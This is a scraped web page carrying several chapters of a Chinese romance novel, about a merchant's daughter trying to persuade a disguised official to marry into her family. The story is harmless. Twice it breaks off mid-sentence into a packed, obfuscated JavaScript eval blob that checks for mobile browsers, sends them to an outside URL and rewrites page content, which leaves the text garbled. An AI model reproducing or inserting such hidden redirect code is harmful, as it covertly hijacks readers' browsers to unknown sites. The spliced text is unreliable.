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谢枕川没想到广成伯对府中女眷的教育问题这么看重,京中贵女们大多也就学学琴棋书画与女四书,要做策论文章的还是头一回见到。 他难得起了一点兴趣,“可有题目?” 梨瓷点点头,将自己方才写好的题目拿给他看。 无纹洒金笺纸,文犀照水墨,被一手稚嫩而生涩的字迹写来,已有牛嚼牡丹之感了,更让人目不忍视的是上面的内容,简直有辱斯文。 见谢枕川皱眉,梨瓷怕他反悔,赶忙道:“题目已经定了,明日便要交给夫子,可我实在不知如何论述,谢徵哥哥你可有办法?” 饶是谢枕川宦海沉浮,在大殿上以一人之力应对政敌异党的百般刁难也面不改色,皇帝问策时也对答如流,见到《论入赘之裨益》这样的题目,竟然第一次生出无可奈何之感。 看出谢枕川“志不在此”,梨瓷只好努力启发他,“我想了很久,觉得入赘至少有一条好处,可以改善此人境遇,尤其是那些因家境贫寒或结仇等原因娶不起媳妇儿的,也不至于鳏寡孤独。” 可惜他并没有对号入座的自觉。 朝堂上风雨如晦,再荒唐的胡言乱语谢枕川也不是没见过,他斟酌片刻,很快道:“虽可,但旨意不高,要论裨益,自然要由浅入深。就男方而言,可以解围脱困;就女方而言,可以添丁承祧,避免出嫁离家之苦;就双方而言,可以联姻和合,延续双方血脉;对社稷而言,可以移风易俗,气象一新……最后再提几点建议,这篇文章就成了。” 梨瓷听得满心满眼都是崇敬,“照这么说,入赘简直是一件利国利民的大好事啊!” ……什么歪理邪说。 谢枕川只觉得自己的见识还是太少了,自从认识了梨瓷之后,他常常大开眼界。 他不露痕迹地后退了一步,随口敷衍道:“也不是不能这么说。” “那谢徵哥哥对入赘是怎么看的?” “各取所需,各得其宜罢了,我没什么看法。” 梨瓷步步紧逼,“如果是你,你愿意入赘吗?” 谢枕川还未答话,后院传来“哐当”一声巨响。 梨瓷被吓了一跳,“什么声音啊?” 听着像是火盆翻倒在地的声音,谢枕川面不改色地遮掩道:“许是仆从洒扫,打翻了水桶吧。” “哦,”梨瓷并未深思,继续追问道:“谢徵哥哥,你还没说呢,你愿意入赘吗?” 11. 意愿 若是嘉宁长公主与信国公在此,听到这样胆大包天的问话,恐怕当场就要气疯了。 饶是谢枕川这样两面三刀、深藏不露之人,也差点绷不住脸上的笑容。 鉴于双亲失败的婚姻,他对娶嫁之事并无兴趣,何况他本身便是玩弄人心和权术的高手,并不需要以身为饵交换利益。 至于他现在的这个身份……“谢徵”面对此情此景,应当如何反应? 谢枕川微微偏过头,长长的睫毛像是漆黑的鸦羽,遮住了那双凤眼里的凌厉,他刻意压低了声线,像是来不及温热的酒,低醇清泠之间又显出些许局促来,“愚以为婚姻大事,应先有两情相悦,再从父母之命,媒妁之言。” 梨瓷盯着他低垂的眼睫和紧抿的唇线,忽然有种自己是个逼良为娼的恶霸的错觉,不自觉看入了神。 她脸颊微热,也无意识低下了头,匆匆应道:“噢,噢,谢徵哥哥说的是。” 两人目光并未相接,谢枕川的神色又变得意味深长起来。 她这些奇怪的行径,到底是何人授意的? 他在梨瓷面前站定,居高临下地打量着她的反应,“只是怎么忽然这么说,是阿瓷自己想问的吗?” 不知道为什么,梨瓷忽然觉得这个问题有些危险,本能地摇了摇头。 她想当然地觉得是自己与谢徵哥哥的感情还远未到两情相悦的境界,此刻承认,恐怕会惹得谢徵哥哥生气,从此就不会理自己了。 她赶紧编出了一个理由:“没有没有,我就是随便问问,想看看我的文章这样写有没有说服力。” 谢枕川的唇角重新弯起些许弧度,虚与委蛇道:“此题立意颖异,别出心裁,成文以后必定令人耳目一新,不必有此担忧。” 梨瓷立刻高兴起来,“都是谢徵哥哥教导有方,那我先回去写文章了。” “等等。” 谢枕川叫住她,脸上笑容略有些僵硬,“他日若有人问起……” 被泠表姐说过一次之后,梨瓷已经知道他要说什么了,她信誓旦旦道:“放心吧,出去我就说,都是我自己写的。” 谢枕川坚持划清界线,“本就是你自己写的。” 梨瓷收好笺纸,“那等我写完了,再来请谢徵哥哥指教。” “不必,我观阿瓷青出于蓝,下笔时定能一蹴而就,我已经没什么可指教的了。” 梨瓷得了夸奖,信心大增,出门时飘飘然,都不知迈哪只脚了。 谢枕川三言两语将人哄走,再次回到书房,居然有种如释重负的感觉。 谌庭从偏门进来,此刻正躲在屏风后,手忙脚乱地掸去衣襟上的炭灰。 谢枕川瞥他一眼,“你什么时候来的?” 谌庭拍了拍自己手上的炭灰,笑嘻嘻道:“失手打翻了你家的炭,惭愧,惭愧。” 谢枕川的脸色立刻不痛快起来,他声音一凛,语带威胁,“今日并非沐休,你不用上值?” “冤枉啊,谢大人,”谌庭死皮赖脸道:“那不是听说你们拿到了载有密文的重要物证,下官想着过来看看,兴许能帮上忙嘛。” 谢枕川冷哼一声,一语道破他的心思,“顺便来广成伯府看女眷?” “你都说了只是顺便,一举两得嘛,”谌庭对自己的私心供认不讳,又忍不住笑道:“没想到一来,便有幸听到了如此石破天惊之言。” 谢枕川已经听过了更加荒诞不经的言论,比谌庭淡定许多,他波澜不惊地坐回桌案前,继续先前那幅未完成的画作。 谌庭顿觉无趣,只好先让北铭将签文拿来一观。 他是研究阴书字验的高手,对着那几行字研究了半天,确定没什么异常,又绕到门后,仔细查看起那匹藕荷色绣菱花团窼对兽纹的织锦缎来。 菱花纹样错落有致,立狮对兽栩栩如生,就算不提这巧夺天工的绣艺,光是那光亮细腻的织锦缎便已经价值连城。 “啧啧啧,还得是谢大人,面对美色与重金都能面不改色,若是在下,就算梨姑娘不提,也忍不住要毛遂自荐的。” 谢枕川手中笔管翻转,轻重跳跃出起伏远山,又皴染出浑厚纹理,这才开口,“说正事。” “那封签文我看了,没什么异常,”谌庭正经不过一句话的功夫,又朝谢枕川戏谑道:“只是这位表小姐……看起来与谢大人的关系亲近不少?” 谢枕川笔转雄健,又在石树后勾勒出萧寺飞楼,与云相连。 他居然“嗯”了一声,漫不经心道:“只有千日做贼,哪有千日防贼的,与其深忧过虑,夙夜匪懈,不如将计就计,看看她到底所图何事。” 谌庭深深地嫉妒了,同样都是南下公干,凭什么自己就得坐班上值,谢二就可以四处游学,还有美人相伴? 他不由得愤慨道:“你当心人家求的就是你,想把你骗去入赘。” “不可能,”谢枕川不以为然,“梨瓷已有长兄,以梨固之智,断然不会招婿来自找麻烦,惹得家宅不宁。” “若是梨固舍不得女儿,想要留她在膝下承欢呢?” “且不说商人重利,”谢枕川上下打量好友,不慌不忙道:“若真有这等好事,我定然第一时间替你举荐。” “好啊,”谌庭“啪”地一声打开他那把写着“有美一人,清扬婉兮。邂逅相遇,适我愿兮”的折扇,笑得贱兮兮的,“那我便静候佳音了。” - 梨瓷回到嘉禾苑,下笔时果然文思泉涌,有如神助,不多时便完成了这篇文章。 她将笔一掷,起身大大伸了个懒腰。 绣春在研墨的时候就惊呆了,现在更是第一次见小姐独立写完这么多的字,此刻文章已成,终于找到机会开 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毕竟在绣春的眼里,小姐这么好,这世上怎么会有人不喜欢呢? 梨瓷却听得似懂非懂的,情爱之事,夫子不曾教过,父母也只对她说,挑一个自己喜欢的,怎么忽然多出了这么多事? 不过她只烦恼了不到一秒钟,就道:“不管了,先吃饭吧。” 吃完饭的梨瓷又重新变回了快乐小狗,满心欢喜地等明日夫子点评自己的文章。 她还从来没有这样期盼上学过,几乎是第二日天一亮就醒来了,换上易于出行的窄袖长衫,荷包里还放了些散碎银两,带着自己辛辛苦苦写好的文章出发了。 “周泠的这篇策论文辞优美,用典贴切,但是选题太大,方策略显空洞,至于周滢此篇,也勉强算是一篇面面俱全的官样文章吧。” 听到夫子的评价,周泠微微咬紧了下唇,反倒周滢已经很满意了。 梨瓷也一脸崇敬地看着泠表姐,忽然就听到了自己的名字。 “倒是梨瓷的这篇文章,嗯……虽然辞藻粗浅,半文半白,但是观点新颖,的确是从民生国计出发,鞭辟入里,”岑夫子玩笑道:“阿瓷,是你自己写的吗?” 梨瓷已经做好了心理建设,点头如捣蒜,“是我自己写的,与旁人无关。” “我这是表扬你呢,”岑夫子笑着说道:“这个选题,旁人的确写不出来。” 知道梨瓷写的文章题目是什么,另外两个表姐也都笑了。 岑夫子收下三份课业,便带着三位小姐一同外出了,她带着大家登上了明月湖的一艘画舫,要在游湖上为大家讲课。 夏日的明月湖畔垂柳依依,湖中莲叶田田,菡萏亭亭,雕梁画栋的精致画舫破开碧波,泛起层层涟漪。 12. 拜访 岑夫子今日为大家讲的是《亲政篇》,只是才讲到“下之情壅阏而不得上闻”时,外边就传来吵闹声。 她不由得皱起了眉,今日外出授课之事已经向广成伯府报备过了,广成伯夫人还特地令人包下了这一整座画舫,怎还会有人打扰? 梨瓷一听这些文绉绉的文章就犯困,早就悄悄竖起了耳朵,想听听热闹。 岑夫子一看她眼睛滴溜溜乱转,就知道她心思已经不在这里了,干脆停了下来,让人去看看怎么回事。 课上安静了下来,外面的声音就越发清晰了,周滢听着听着便皱了眉,悄声道:“这声音……我怎么听着有点像是淳姐姐身边的黄莺呢?” 周泠没说话,轻轻点了点头。 那声音越来越尖利,“这画舫分明是我家主人订好的,你们怎么让外人上去了?我倒要看看,是哪里来的小蹄子胡乱占别人家的船!” 这话委实说得太难听,周滢立刻坐不住了,她身边的大丫鬟闻弦歌而知“雅”意,打开窗骂道:“我看你这蹄子才是忘了自己从哪里来的,嘴里不干不净的说什么呢?!” 梨瓷听得津津有味,她不知道“小蹄子”是什么意思,只觉得新鲜有趣。 只是打开窗见了照面,两边又开始要脸面了,这骂战也偃旗息鼓。 黄莺扶着周淳上了船,她穿着一身秋香色春锦如意月裙,带了一整套薄金镶赤珊瑚的头面,打扮比起在府中做姑娘时老气些,但也富贵不少。 跟着上来的还有这艘画舫的船家,在他的连声道歉之下,两边终于明白了是怎么回事。 简而言之,两边都以广成伯府的名义订了船,还都瞧上了这一艘,船家也以为是一起的,便聚到一处来了。 主人家连连赔笑道:“这真是大水冲了龙王庙,若是不嫌弃的话,今日的游船银钱便免了,就当是小人有幸请几位夫人小姐在此一聚。” 黄莺横声道:“你说的这是什么话,是觉得我们哪家出不起这个钱么?我家夫人不想被人扰了清静,懂不懂啊?” “黄莺,少说两句,”周淳轻飘飘地斥了一句,又温婉笑道:“船家言重了,你们赚的也是辛苦钱,银钱照收便是,好了,这里没你的事了,下去吧。” 那主人家又是千恩万谢地下去了。 周淳以扇掩面,朝岑夫子问了个好,旋即道:“打扰了岑夫子上课,实在罪过,只是难得我们姐妹几个今日有缘相聚,可否请岑夫子通融通融,让我们说说话。” “那便茶歇一刻钟。” 岑夫子也不是不讲情面的人,她点点头,暂且回避去了别的舱房。 “自我出嫁之后,与滢妹妹已有一年未见了,倒是真有几分想念,”周淳的目光又扫过自己的庶妹与表妹,不冷不热地客套道:“泠妹妹,瓷妹妹,你们也在。” 周泠不甘不愿地行了礼,梨瓷也跟着泠表姐行了一个。 她虽然来了应天三年,但大部分时间都在养病,这位淳表姐一早便与靖德侯之子定下了婚约,忙于备嫁之事,少有来往,因此不算熟稔。 几人之中,只有周滢和周淳的关系勉强过得去,她只好开口道:“是呀,淳姐姐在靖德侯府过得可好?” 周淳摇了摇手中团扇,腕上的珊瑚松石金镯也跟着晃动,“自然是极好的,原本夫君今日还要陪我一同游船,只是公务在身,才没能成行。” 周滢撇嘴道:“那就好,方才我瞧着淳姐姐的模样清减了些,还有些担心呢,听你这样说,总算是放心了。” “你倒是放心了,我可不放心,”周淳略略压低了声音,斥责道:“你看看你,成日和庶女、还有商贾女混在一处,像什么样子。” 周滢最不耐烦听她说这些,立刻便扭过了头。 周淳又扫了一眼桌上的《亲政篇》,叹气连连,“你是咱们广成伯府嫡出的女儿,博那个才名做什么,女子无才便是德,我在侯府里,都只说自己读过女四书。” 她似乎又察觉自己出言不妥,笑着补充道:“噢,泠妹妹,不是在说你啊,你是庶出,自是不一样的。” 周泠不说话,只低头看着桌上的文章,嘴唇被牙齿咬得泛白。 她是庶出,母亲只是府里可以随意被主母拿捏的姨娘,她不想生事。 周淳笑了笑,语气中带着几分炫耀,“以前也是我不懂事,还曾为了一只银镀金的吉庆纹流苏簪和泠妹妹闹翻了天,如今嫁入靖德侯府,要什么有什么,想来当时真是眼皮子浅。” 那只簪子是当时父亲赏识周泠所作的诗,特意给的奖赏,两位姐妹打架,自然也不全是为了簪子,只是为争一口气罢了。 周淳现在也是如此,她摘下腕上那只珊瑚松石金镯,往周泠面前一掷,施舍般扬声道:“泠妹妹,送给你了。” 那枚金镯在空中划出一个歪歪扭扭的弧度,最后落在了梨瓷的桌上。 周泠快要被这番挑衅的话语气疯了,正想不顾体统与后果与她撕破脸,就在这时,梨瓷伸手拿起了那枚镯子。 她小心翼翼拿起来,脱口而出,“淳表姐,你这只镯子也是银镀金的啊。” 梨瓷的声音像是泠泠清泉,干净而清甜,有种抚慰人心的悠然之感。 周泠慢慢冷静了下来,又听到她的小表妹继续道:“珊瑚的颜色偏暗,松石质地粗糙,色泽也不够均匀。” 梨瓷将镯子递过去,指着一处狭缝,好心提醒道:“淳表姐,这等成色的镯子镶嵌工艺一般也不够精细,你看这里已经有裂痕了,你若是喜欢,以后可不能再摔了。” 这下气疯了的人变成了周淳,她的表情早已失去之前的平和与从容,一把夺回自己的镯子,气冲冲道:“你懂什么?!” “淳表姐你别生气,”梨瓷好心好意地安慰她,“兴许是我说错了,也可能是铜镀金的呢。” 周泠终于“噗嗤”一声笑了出来。 周淳则死死捏着手中的镯子,不规则的珊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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岑夫子语气温和,“阿瓷,你可知我今日为何单独将你留下?” 梨瓷摇摇头,自己今日上课分明没有瞌睡呀。 “《亲政篇》有云,‘交则泰,不交则否’,民情不能达于上,不可称之为‘泰’,岑夫子拿出她的课业,语重心长道:“你的这篇文章,慧眼独具,留意到了民间少数入赘婚的弊病和难处,十分难得,是个可造之材。” 梨瓷摇头摇得更厉害了。 不知道现在承认这篇文章是谢徵哥哥教自己写的,还来不来得及。 “我有一个知己好友,正是赘婚,在西市开了一家书斋,我准备带你去前去拜访,实地体察,既是奖励,也便你有更深的体悟,如何?” 梨瓷立刻点头,“谢谢岑夫子。” 马车一路行至西市,梨瓷掀开车帘,看到了一个熟悉的人影拿了一卷画纸进了书斋,又空着手出来了。 她眯着眼看清楚了,正是谢徵哥哥身边的那名小厮。 13. 诚意 集贤书斋就坐落在西市街口,厚重的柏木书架上满满当当地摆放着各类书籍,除了经、史、子、集,还兼卖杂书、孤本和字画。 书斋里人来人往,掌柜的姓徐,大约三十出头,一身素净长裙,梳着妇人髻,正在柜台为一名客人算账,手里的算盘珠子拨得噼啪作响,见好友来了,也就有朝她点个头的功夫,示意她自便。 岑夫子也算是老主顾了,见梨瓷睁大眼睛、探头探脑的样子,便主动问道:“阿瓷可有喜欢的书?” 梨瓷眨了眨眼睛,指着书架旁的一个大画缸,“我想买画。” 画缸里摆了十数幅画卷,高低不一,纸张都是最常见的,甚至还没有装裱,方才那小厮手里拿的似乎也是这一种。 岑夫子在广成伯府教书,对梨家的富贵也有所耳闻,指了指堂内,“店里的好画大多挂在里间,可以进去看看。” “这画缸里的画作,多是我家掌柜体恤寒门学子之苦,替他们寄卖的字画,谈不上润资,也就能抵个笔墨纸张的钱,房内还有几副珍品,若是两位感兴趣的话,我这就去取来。” 梨瓷抬头望去,不知何时从内室里步出一名斯文男子,正是而立之年,他身着长衫,怀里抱着一个垂髫小姑娘,另一手还端了一杯凉茶,见梨瓷想要买画,主动介绍了一句。 她赶紧摇了摇头,心中越发肯定那小厮是替谢徵哥哥来卖画的了。 见客人不感兴趣,那男子便退下了。他先将女儿抱去了柜台后,熟练地塞了个鸠车到女儿手里,然后又接过夫人手里的算盘,将凉茶递给她,接替了她的位置,带着女儿在柜台里忙碌起来。 他应当就是掌柜的赘婿,这一套操作炉火纯青,看得梨瓷既佩服,又憧憬。 她已经可以预见自己招赘后的幸福生活了,毕竟谢徵哥哥学问好,力气也大,又深谙庖厨之道,他日若是进了梨府,仆从都可以少聘几个。 徐掌柜喝了口茶,寻了本书风风火火朝好友走来,“阿岑,你要的那本五臣音注版《扬子法言》我已经找到了,你看看如何?” 岑夫子慎重地接了赴欧来,不过看了看序跋内容,便已经入迷了,她低着头,将梨瓷推到徐掌柜面前,“这是我的学生,姓梨,她最近写了一篇论赘婚的文章,特意带来请教。” “哎呀,小姑娘生得这么齐整,学问又好,”徐掌柜爽快地摆摆手,“谈不上请教,有什么想问的直说便是。” ……这句话的可怕程度简直不亚于夫子在堂上问自己“此话何解”。 梨瓷下意识地抬头,见岑夫子已经另寻了一处稍安静的地方开始看书了,心下稍安。 趁着夫子不在,她悄悄问道:“掌柜的,您和尊……尊夫君是如何认识的呀?” 徐掌柜也不是忸怩之人,很快就说出了一个让梨瓷十分满意的故事。 她与夫君两家本就是邻居,只是一个经商,一个读书,并无太多交情,后来夫君家中徒生变故,徐掌柜心生怜惜,对他多有照顾,一来二去的,便结了姻缘。 这简直就是她与谢徵哥哥的翻版! 梨瓷又问:“那尊夫君是如何答应入赘的呢?” 徐掌柜笑了笑,“我是商人,说话粗浅,这入赘入赘,归根到底不就是为了一个‘钱’字嘛。” “花钱?” 梨瓷顿时信心大增,这是她的强项啊! 掌柜的点点头,“不过花钱也是有技巧的,花钱也得花得用心,当时我初入江湖,生意做得不好,一年下来也不过挣了几钱银子,最后全部拿去买了一只他最喜欢的毛笔,他十分感动,然后便同意了。” 梨瓷不免有些疑惑,“就这么简单?” “哪里简单了,那可是我当时全部的银子,”徐掌柜回味着青春年少的美好记忆,笑眯眯道:“我知道姑娘不差钱,但倾其所有的勇气可不是每个人都有的。” 她见梨瓷似有所悟地点了点头,便也不再说了。 一来嘛,这少年人的感情最为真挚,自己说多了反倒不美。二来嘛,小姑娘生得这幅容貌,哪里用得着这么麻烦呢,就站在那里勾勾手,没准儿对方就被迷得神魂颠倒的。 这个话题聊得差不多了,徐掌柜话锋一转,“对了,梨姑娘先前可是想买画?” 梨瓷这才想起自己的初心来,她点点头,指着外边那个画缸,“我想买那里边的画。” 徐掌柜心下了然,拿出登记卖画的册子,“想买哪一幅?” 梨瓷伸长脖子瞧了一眼登记册,看到的却都是什么“遨邺先生”“放虞居士”这样的名号,一个正经人名也没有。 徐掌柜看出她的疑惑,连忙解释道:“这都是他们自己起的名号,我也不知这些名号对应的是什么身份。我这儿卖画的规矩是这样的,第一幅画五十文,若是卖出去了,第二幅便卖一百文,第三幅一百五十文,以此类推。” 她翻找了一番,从里边挑出一幅荷花图来给梨瓷看。 这是一幅再普通不过的水墨画,哪怕是梨瓷这样不精书画的人,也能看得出来水平只是一般而已。 “这是玄都山人的画作,是我这里寄卖得最好的,这已经是第四幅了,看着墨色有些过渗,其实是纸张的缘故,实在是埋没了。哦对了,我今天还收了一幅……” 梨瓷打断她,“没事的,徐掌柜,这画缸里的画作我都要了。” “哎呀,这可太好了,”徐掌柜也不客气,噼里啪啦算了一通账,“这里一共是十二幅画,本应是一两八钱银子,我再给您打个折,一两六钱二,如何?” 梨瓷爽快地付了钱,徐掌柜替她将画作收拢好,抱在怀里,她抬头一看,岑夫子还在读书。 徐掌柜已经习以为常了,热情地招呼道:“阿岑就是这样,一旦看书入了神,便是打雷都叫不醒的,梨姑娘要不留下来吃个便饭吧,我夫君的手艺还不错。” 梨瓷抱着画,连连摇头,“我还要去采买些东西,就不打扰了,还请替我向夫子辞别。” 万一岑夫子问自己向掌柜的请教了什么,自己可一个字都答不上来。 这个问题还是交给徐掌柜来烦恼吧。 - 等到梨瓷在自家钱庄订好了想要的东西,回到广成伯府时,两位表姐居然都在嘉禾苑中等她。 绣春正要接过她手里的东西,梨瓷摆摆手拒绝了,示意她先去摆饭。 周滢有些惊讶,“小表妹还没用饭吗?” 梨瓷有些不好意思,但还是说了实话,“嗯……我没钱了。” 两位表姐都知道她对银钱没什么概念,从来都是想用就用了,但她性子乖巧,也不是穷奢极侈、挥霍无度之人,因此也并未把她的话放在心上。 周泠看着她手中抱着一大堆粗制滥造的画作,皱着眉头接了过来,“你在哪里寻来那么多废纸?” 梨瓷同她一起把这些画卷堆放在了桌上,将有些凌乱的鬓发绾回耳后,认真解释:“这是我在西市淘来的画作。” 周滢打开一张看了,放下;又打开一张看了,又放下,一连看了十张,也就勉强有一两张能看的。 她捂着眼睛问:“说吧,这次又被骗了多少银子?” 梨瓷指着那幅荷花图,老老实实道:“这幅是最贵的,二百文。” 此时周泠已经打开了最后一卷画,难得露出惊诧之色,“那你可真是没眼光,这幅燕栖生所作的高山琼楼图才是最好的,只是此人多半是没什么名气,才被你捡了漏。” 这幅高山琼楼图上有万丈寻云之山、鱼龙起伏之松、曲槛回风之楼,还盈有淡淡松木清香,浑然天成,通篇未用赭石朱砂,反而大胆尝试了不宜作画的松烟墨,浓墨处幽深厚重,淡墨处清微隽永,恰如其分地展现了它的特性,足以见画者功力深厚。 梨瓷也点点头,她已经问过徐掌柜了,这幅高山琼楼图就是方才南玄送过来的,她还特意嘱咐了掌柜,以后“燕栖生”的画作她全部都要。 “若是这高山琼楼图也就罢了,这样的荷花图,”她看着画纸上同样名不见经传的“玄都山人”的落款,冷哼一声,“就算是个有点名气的画家,最多也就值二十两银子。” 梨瓷在心中迅速换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566175|155400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算了一下,小算盘打得明明白白的,“那我把这幅荷花图转卖给泠表姐,只要十两就行。” “等等,你说多少?”周泠这时才反应过来她方才说的是“二百文”,立刻嫌弃地把这些低廉的画作放下来,“既然没花多少钱,怎么还没有用饭呢?” 梨瓷紧张兮兮地捏着荷包,胡乱找了个借口,“绣春不在,我想了想,还是回来吃了。” 周滢摸了摸她的头,语气欣慰,“小表妹真是懂事了,那过几日的赏花宴,你可要与我们同去?” 靖德侯府的动作很快,周淳才提了这事儿,帖子便已经送到广成伯府了。这赏花宴是周淳嫁入靖德侯府后操办的第一个宴会,周滢她们虽然心有芥蒂,可身为娘家人,自然是要到场的。 但梨瓷就不一样了,所以她们特意过来询问她的意思。 这样的宴会一听就很无聊,梨瓷正准备拒绝,就听到滢表姐絮絮叨叨地数,“……府里人都去的,就连谢公子也去呢。” 梨瓷立刻改变了主意,“那我也和你们一起去!” 周泠“嗯”了一声,握紧了她的手,心中不免有些忐忑,“到时候你就跟着我们,千万别乱跑。周淳不是心胸宽广之人,你今日为了我开罪于她,她定然怀恨在心,指不定要怎么为难你呢。” “怎么会呢,”梨瓷理直气壮地反驳道:“淳表姐只是生店家的气而已,我好心提醒她买到了假镯子,她感激我还来不及呢。” 那双黑白分明的眼睛里闪耀着灵动的光,不知是哪里来的自信,甚至还补充了一句,“我连赴宴的礼物都想好了,就送一串足金的珊瑚松石手钏,珊瑚要南海的,松石要俏色水波纹,她保证喜欢。” 周泠似乎想要叹气,又忍住了,她松开手,发自肺腑道:“阿瓷,要不你还是别去了吧。” - 在两位表姐的劝导之下,梨瓷最终还是决定要去,只是要换一份礼物既不能是足金的,也不可以带一点点的珊瑚和松石装饰。 她懒得动脑子,干脆将此事交给绣春去筹办。 绣春一边服侍小姐用饭,一边问道:“小姐,听闻盛家珠子铺有最近正时兴的雕象牙贴金花卉镯,要不然奴婢去挑一只?” “不买了,去库房里选一套没用过的吧,”梨瓷连连摇头,小声告诉了绣春自己的秘密,“我已经在梨记钱庄把我手头上的钱全部都花掉了,邱掌柜还给爹爹去了一封信,要等爹爹同意之后下月才会有钱到账上,最近都不能花钱了。” “啊?”绣春惊得连眼珠子都要掉出来了,“小姐,您买了什么啊,这些画不是不值钱吗?” 梨瓷对大钱还是心里有数的,掰着指头数,“月初在净明寺里捐了八万两,今天我又花了三万两给谢徵哥哥打了一套文房四宝,邱掌柜说我已经透支了,不能再花钱了。” 虽说都是为了招赘,小姐捐八万两香火钱绣春面不改色,但听到她给男人花了三万两,绣春立刻就急了。 “小姐,什么文房四宝要三万两啊?你在哪家铺子买的?奴婢这就去找人!” “黄金就是在梨记钱庄换的,文房四宝是砚池轩请了曹先生做的模具,宝石是翠韵坊镶的,我还付了加急的费用,明日便能做好送到府上。” 绣春一听就死心了,这都是梨家自己的产业,他们蒙谁也不敢蒙大小姐。 她颤巍巍道:“那万一,谢公子不同意入赘,怎么办?” “不会的,”梨瓷一脸笃定,“我已经找高人请教过了,只要花掉自己全部的钱给谢徵哥哥送这个礼物,他就会感念我的诚意而同意的。” 她还有一点自己的小心思,“趁着这个月已经捐掉了八万两,我只要花三万两就可以了,若是下个月,就得送十万两的文房四宝,恐怕宝石都镶不下。” 事已至此,绣春也只好听天由命了。 她此时再去小姐的库房挑选礼物,只觉得满屋子的珠宝翡翠都失了颜色。 有什么能比得上纯金打造、镶满宝石的文房四宝呢? 她闭着眼睛努力地想象,期待着明日的到来。 14. 第 14 章 有钱能使人加班,梨瓷没等太久,邱掌柜就赶在日昳之前亲自将东西送来了广成伯府。 绣春将手擦了又擦,打开四只厚重的漆金檀木盒,便看见青黛色绒圈锦衬里上静静地躺着四样金灿灿的物件。 笔头用的是兼毫,纯金打造的笔身上镂雕了一整条龙凤祥纹,龙身蜿蜒有力,凤羽振翅欲飞,仿若气吐虹霓。 墨锭无法用纯金打造,曹先生便精心设计了一套纯金墨匣,上面用宝石贴片绘着凤戏牡丹图,里面的墨锭则是白、石青、石绿、石黄、朱砂五色画锭,颜色细腻鲜艳,每面填金作了五清图,分别对应兰、竹、松、菊、梅五景,又填金饰回纹一圈。 纸张则是上好的白鹿宣,纸面隐有互相依偎的梅花鹿暗纹,是金粉所绘。 砚台就更不用说了,砚盖上用西洋金绿猫眼石嵌作连理枝,砚身本身就是沉甸甸的一大块金子,梨瓷用两只手都拿不起来,只有底部贴了一片端砚石用于磨墨,将实用与贵重结合得恰到好处。 “真好看,”这些图案都是梨瓷亲自与曹先生敲定的,样样都寓意了新婚良缘,她看得十分满意,“我这就拿去送给谢徵哥哥,他肯定能答应入赘。” 邱掌柜是梨固心腹下属,一片忠心,自从梨瓷来了应天之后一直便对自家小姐多有照看。昨日梨瓷要用重金打造文房四宝,他也未细问,只当小姐愿意读书了,此刻听明白了此礼是为外人所做,立刻就对这个还没进门就哄得小姐一掷千金的小白脸儿颇有不满。 他开口劝道:“小姐,老奴以为此举不妥。这位谢公子的心性人品还未可知,若是他在看重礼之下答应了,也是引狼入室啊。” “是啊,小姐,”绣春也觉得邱掌柜说得有道理,出主意道:“邱掌柜经商多年,阅人无数,不如先请他来把把关?” 梨瓷想了想,不如干脆就借此机会让长辈们放心,她转头征询邱掌柜的意见,“邱伯伯觉得如何呢?” 邱掌柜胸有成竹道:“此事便交给老奴来办吧。” - 廉泉书院坐落在城南小椽山上,驱车大约半个时辰,邱掌柜紧赶慢赶,终于在书院散学前赶到了。 他正要从亲信手中接过东西,只是太重,一时间差点没拿稳,又先塞回他手里,仔细用粗布包好。 常有家人仆从携学子所遗之物送至书院,见邱掌柜点明要找谢徵,门房也不意外,领着他去了讲堂,并嘱咐他若无要事,不可打断夫子讲学,等到散学后再说。 邱掌柜点点头,正想问门房哪位是谢徵,忽然反应过来这个问题不合时宜,硬生生忍住了。 他站在窗外往里头看,视野所限,只看得到对面的那一排。 这第一个书生,呆头呆脑的,一看就不是;第二个书生,贼眉鼠眼,一看就不可能;第三个书生,长相倒是不错,就是气质差了点,畏首畏尾的,不行…… 邱掌柜一边叹气,一边把目之所及的一整排人都挑剔了一遍,终于挨到了散学。 夫子刚走,他趁着学生们还没出来,赶紧往门前一站,正准备开口问,一看就知道了自家小姐相中的是哪位。 这位谢公子长相的确英俊,在这一众学子之中可谓是鹤立鸡群,身量也高,坐在最后一排靠墙的位置,仍然比前边人高出一个头。 可惜年纪轻轻,不用功读书,竟然就想着吃软饭,自家小姐心性单纯,才被这副皮相所惑,自己今日一定要揭穿他的真面目! 此刻讲堂里已经不剩多少人,邱掌柜藏好自己心中的鄙夷,使出全身力气来将粗布包裹抱在怀里。 他喘着气走到谢枕川面前,拿出自己年轻时待客的亲和力来,笑得一脸热情,“谢公子,可否借一步说话?” 谢枕川闻声抬头,略略将眼前生人打量一番。 此人大约四五十岁的年纪、中等身材,着铜钱纹丝质长袍,样貌精明,习惯性地眯起眼睛看人,右手拇指和食指有厚厚一层茧子,像是常年拨动算珠而成,大约是没做过什么体力活儿,此刻正颇有些吃力地拿着一个硕大的粗布包裹,不知装的什么,却始终不肯放下。 他对此人身份已有计较,虽不知来意,也不知他与“谢徵”是否是旧相识,仍是面不改色地点了点头,“请。” 两人都存了试探的心思,一路并不多言,邱掌柜更是累得说不出话来,直到进了书院一处无人的静室,他这才放下手中包裹,露出里面的漆金檀木盒。 谢枕川看了一眼,表情并无什么变化,毕竟这样的套路他再熟悉不过了。 京中变着法子想给濯影司指挥使送礼的人不少,只是下场都不太好。 他不太相信有人会给一文不名的“谢徵”送此重礼,开始思考是否自己已经暴露身份,才有人公行贿赂。 邱掌柜压低声音道:“我家主人欣赏谢公子才学,特意制此文房四宝相赠。” 